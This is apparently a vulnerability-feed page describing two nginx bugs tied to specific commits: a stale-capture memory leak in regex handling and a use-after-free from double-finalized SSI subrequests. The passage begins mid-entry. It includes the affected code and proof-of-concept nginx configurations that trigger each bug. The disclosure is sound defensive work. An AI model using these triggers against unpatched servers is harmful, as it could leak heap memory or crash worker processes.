The response body will contain the expected short digits/colon but with trailing uninitialized heap bytes appended, since the predicted length (based on the regex's maximum possible capture size) exceeds the actual matched substring length, and the buffer isn't truncated to reflect the real written size — leaking adjacent heap memory content to the client.

⚠️ MEDIUM VERIFIED Uninitialized Memory Read / Out-of-Bounds Read

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: 0cca8e055a2d909f1a00c2071665b502ec2fe94c

Author: Pavel Pautov

When ngx_http_regex_exec() reallocates r-&gt;captures because the previous buffer was too small or marked for reallocation, it failed to reset r-&gt;ncaptures to 0 when the regex subsequently did not match. This left r-&gt;ncaptures referencing stale capture indices from a prior (larger) match, so later code reading $1, $2, etc. would read uninitialized or out-of-bounds memory from the newly allocated (and not fully populated) captures array, potentially leaking sensitive heap memory into response headers or bodies.

🔍 View Affected Code & PoC

Affected Code

if (r->captures == NULL || r->realloc_captures) {
    r->realloc_captures = 0;
    r->captures = ngx_palloc(r->pool, len * sizeof(int));
    ...
}
// r->ncaptures not reset when regex doesn't match

Proof of Concept

Using the provided nginx config:

map test $my_map {
    volatile;
    ~mismatch(.*) 1; # triggers realloc of r->captures in subrequest, regex fails to match
    default "";
}

server {
    location ~(.*) { # sets r->ncaptures with a real match
        slice 50;
        proxy_set_header Test $my_map$1; # $1 reads r->captures using stale r->ncaptures from before realloc
        proxy_set_header Range $slice_range;
        proxy_pass http://backend;
    }
}

Sending a request that triggers the slice module to create subrequests causes ngx_http_regex_exec() to run the $my_map regex (which doesn't match, reallocating r->captures without resetting r->ncaptures). The subsequent evaluation of $1 in proxy_set_header Test then reads uninitialized/stale memory from the reallocated captures array, potentially leaking process memory contents into the proxied Test header sent to the backend.

🔥 HIGH VERIFIED Use-After-Free

Jul 15, 2026, 03:51 PM — nginx/nginx

Commit: 700dc9e0e750e3f63587f9d0f9f36bae5ec47202

Author: Roman Arutyunyan

A subrequest that gets posted twice (once via ngx_http_subrequest() and again via ngx_http_postpone_filter() during unbuffered proxying with SSI includes) could be finalized twice, causing r-&gt;main-&gt;count to be decremented excessively. This reference-count corruption can lead to premature freeing of the request/pool while it is still referenced elsewhere, resulting in a use-after-free that could be leveraged for memory corruption or worker process crashes (DoS), and potentially further exploitation.

🔍 View Affected Code & PoC

Affected Code

for (p = &r->main->posted_requests; *p; p = &(*p)->next) { /* void */ }
*p = pr;
... r->main->count--; ... (no reset of write_event_handler)

Proof of Concept

Configure nginx with SSI enabled and an SSI page containing two <!--#include--> directives where the included subrequests are proxied to an upstream with unbuffered proxying (proxy_buffering off) enabled, e.g.:

  location /page.shtml { ssi on; }
  location /sub1 { proxy_pass http://backend1; proxy_buffering off; }
  location /sub2 { proxy_pass http://backend2; proxy_buffering off; }

page.shtml:
  <!--#include virtual="/sub1" -->
  <!--#include virtual="/sub2" -->

When the main request has data postponed by one include while another subrequest is created, and the backend for the second subrequest sends its response quickly (before the postponed data is flushed), the postpone filter will post the same subrequest a second time. This double posting causes ngx_http_finalize_request to be called twice for the same subrequest, decrementing r->main->count twice and leading to use-after-free of the main request structure, crashing the worker process or potentially being exploited for further memory corruption.